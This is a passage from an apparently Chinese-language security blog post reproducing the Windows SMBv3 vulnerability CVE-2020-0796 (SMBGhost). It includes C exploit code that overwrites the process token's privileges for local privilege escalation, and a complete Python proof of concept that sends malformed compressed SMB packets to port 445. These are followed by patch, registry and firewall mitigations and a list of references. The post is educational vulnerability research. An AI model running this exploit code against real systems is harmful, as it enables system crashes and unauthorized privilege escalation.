printf("Couldn't finish SMB negotiation\n"); return error_exit(sock, "send()"); } printf("Finished SMB negotiation\n"); ULONG buffer_size = 0x1110; UCHAR *buffer = (UCHAR *)malloc(buffer_size); if (buffer == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } ktoken = get_process_token(); if (ktoken == -1) { printf("Couldn't leak ktoken of current process...\n"); return EXIT_FAILURE; } printf("Found kernel token at %#llx\n", ktoken); memset(buffer, 'A', 0x1108); *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (err != STATUS_SUCCESS) { printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err); return error_exit(sock, NULL); } ULONG FinalCompressedSize; UCHAR compressed_buffer[64]; LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize); if (lpWorkSpace == NULL) { printf("Couldn't allocate memory with malloc()\n"); return error_exit(sock, NULL); } err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size, compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace); if (err != STATUS_SUCCESS) { printf("RtlCompressBuffer() failed with error: %#x\n", err); free(lpWorkSpace); return error_exit(sock, NULL); } printf("Sending compressed buffer...\n"); if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) { return error_exit(sock, "send()"); } printf("SEP_TOKEN_PRIVILEGES changed\n"); inject(); WSACleanup(); return EXIT_SUCCESS; }
2.Python代碼解析
CVE-2020-0796-POC.py
import socket, struct, sys class Smb2Header: def __init__(self, command, message_id): self.protocol_id = "\xfeSMB" self.structure_size = "\x40\x00" # Must be set to 0x40 self.credit_charge = "\x00"*2 self.channel_sequence = "\x00"*2 self.channel_reserved = "\x00"*2 self.command = command self.credits_requested = "\x00"*2 # Number of credits requested / granted self.flags = "\x00"*4 self.chain_offset = "\x00"*4 # Points to next message self.message_id = message_id self.reserved = "\x00"*4 self.tree_id = "\x00"*4 # Changes for some commands self.session_id = "\x00"*8 self.signature = "\x00"*16 def get_packet(self): return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature class Smb2NegotiateRequest: def __init__(self): self.header = Smb2Header("\x00"*2, "\x00"*8) self.structure_size = "\x24\x00" self.dialect_count = "\x08\x00" # 8 dialects self.security_mode = "\x00"*2 self.reserved = "\x00"*2 self.capabilities = "\x7f\x00\x00\x00" self.guid = "\x01\x02\xab\xcd"*4 self.negotiate_context = "\x78\x00" self.additional_padding = "\x00"*2 self.negotiate_context_count = "\x02\x00" # 2 Contexts self.reserved_2 = "\x00"*2 self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1 self.padding = "\x00"*4 def context(self, type, length): data_length = length reserved = "\x00"*4 return type + data_length + reserved def preauth_context(self): hash_algorithm_count = "\x01\x00" # 1 hash algorithm salt_length = "\x20\x00" hash_algorithm = "\x01\x00" # SHA512 salt = "\x00"*32 pad = "\x00"*2 length = "\x26\x00" context_header = self.context("\x01\x00", length) return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad def compression_context(self): compression_algorithm_count = "\x03\x00" # 3 Compression algorithms padding = "\x00"*2 flags = "\x01\x00\x00\x00" algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00" # LZNT1 + LZ77 + LZ77+Huffman length = "\x0e\x00" context_header = self.context("\x03\x00", length) return context_header + compression_algorithm_count + padding + flags + algorithms def get_packet(self): padding = "\x00"*8 return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding class NetBIOSWrapper: def __init__(self, data): self.session = "\x00" self.length = struct.pack('>i', len(data)).decode('latin1')[1:] self.data = data def get_packet(self): return self.session + self.length + self.data class Smb2CompressedTransformHeader: def __init__(self, data): self.data = data self.protocol_id = "\xfcSMB" self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1') self.compression_algorithm = "\x01\x00" self.flags = "\x00"*2 self.offset = "\xff\xff\xff\xff" # Exploit the vulnerability def get_packet(self): return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data def send_negotiation(sock): negotiate = Smb2NegotiateRequest() packet = NetBIOSWrapper(negotiate.get_packet()).get_packet() sock.send(packet.encode('latin1')) sock.recv(3000) def send_compressed(sock, data): compressed = Smb2CompressedTransformHeader(data) packet = NetBIOSWrapper(compressed.get_packet()).get_packet() sock.send(packet.encode('latin1')) #sock.recv(1000) if __name__ == "__main__": if len(sys.argv) != 2: exit("[-] Supply an IP: {} IP_ADDR".format(sys.argv[0])) sock = socket.socket(socket.AF_INET) sock.settimeout(3) sock.connect((sys.argv[1], 445)) send_negotiation(sock) send_compressed(sock, "A" * 50)
五.防護措施
寫到這裏,這篇CVE-2020-0796漏洞復現的文章就介紹結束了,但願對您有所幫助。這篇文章也存在一些不足,做者沒有更深刻的理解其原理,也是做爲網絡安全初學者的慢慢成長路吧!但願將來能更透徹撰寫相關文章。
最後補充防護方法:
- 運行Windows更新,完成Windows10 2020年3月累積更新補丁的安裝。
操做步驟:設置->更新和安全->Windows更新,點擊「檢查更新」。 - 直接下載對應補丁進行安裝(KB4551762)。
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762 - 訪問微軟該漏洞官方頁面,選擇相應的Windows版本安全更新,獨立安裝該漏洞安全補丁。
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
- 根據BleepingComputer的說法,儘管Microsoft並未共享禁用SMBv3壓縮的官方方法,可是Foregenix Solutions架構師Niall Newman在分析了Srv2.sys文件後能夠經過手動修改註冊表,防止被黑客遠程攻擊。
(1) 在註冊表「HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters」創建一個名爲DisableCompression的DWORD,值爲1,禁止SMB的壓縮功能。
(2) 在管理員模式啓動PowerShell,將如下命令複製到Powershell命令行,執行便可。
Set-ItemProperty -Path 「HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters」 DisableCompression -Type DWORD -Value 1 -Force
- 若無業務必要,在網絡安全域邊界防火牆封堵文件打印和共享端口TCP 135/139/445以緩解此問題。
- 能夠經過安全廠商的漏洞檢驗和修復工具來檢查是否存在漏洞和進行漏洞修復。
六.總結
但願這系列文章對您有所幫助,真的感受本身技術好菜,要學的知識好多。轉眼4月份到來,這是第64篇原創的安全系列文章,從網絡安全到系統安全,從木馬病毒到後門劫持,從惡意代碼到溯源分析,從滲透工具到二進制工具,還有Python安全、頂會論文、黑客比賽和漏洞分享。未知攻焉知防,人生漫漫其路遠兮,做爲初學者,本身真是爬着前行;同時學術論文得深刻了,加油!感謝不少人的幫助,繼續爬着,繼續加油!
歡迎你們討論,是否以爲這系列文章幫助到您!任何建議均可以評論告知讀者,共勉。
(By:Eastmount 2020-04-07 晚上10點寫於貴陽 http://blog.csdn.net/eastmount/ )
參考文獻:
[1] https://github.com/danigargu/CVE-2020-0796
[2] https://github.com/ollypwn/SMBGhost
[3] https://github.com/eastmountyxz/CVE-2020-0796-SMB
[4] https://github.com/joaozietolie/CVE-2020-0796-Checker
[5] 更新 : 公開渠道出現本地提權工具 | 微軟 Windows SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)通告 - 奇安信威脅情報中心 紅雨滴團隊
[6] 關於CVE-2020-0796 - 我要變超人
[7] CVE-2020-0796本地利用簡析
[8] CVE-2020-0796藍屏POC 漏洞復現 - Jie_Blog
[9] https://download.csdn.net/download/ltt440888/12255558
[10] CVE-2020-0796 SMBv3漏洞復現(藍屏poc) - L0ading
[11] CVE-2020-0796:SMBv3的RCE漏洞,下一個EternalBlue?- NOSEC平臺
[12] 13五、13七、13八、139和445端口 - 謝公子大佬
[13] Linux文件共享服務之Samba - 謝公子大佬
[14] 445端口不通經驗總結 - frankarmstrong
[15] 計劃任務中使用NT AUTHORITY\SYSTEM用戶和普通管理員用戶有什麼區別 - shangzhihaohao
[16] https://www.bilibili.com/video/av97457537/
[17] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
[18] CVE-2020-0796 SMBv3漏洞藍屏復現+提權 - anlalu233
[19] https://github.com/ZecOps/CVE-2020-0796-LPE-POC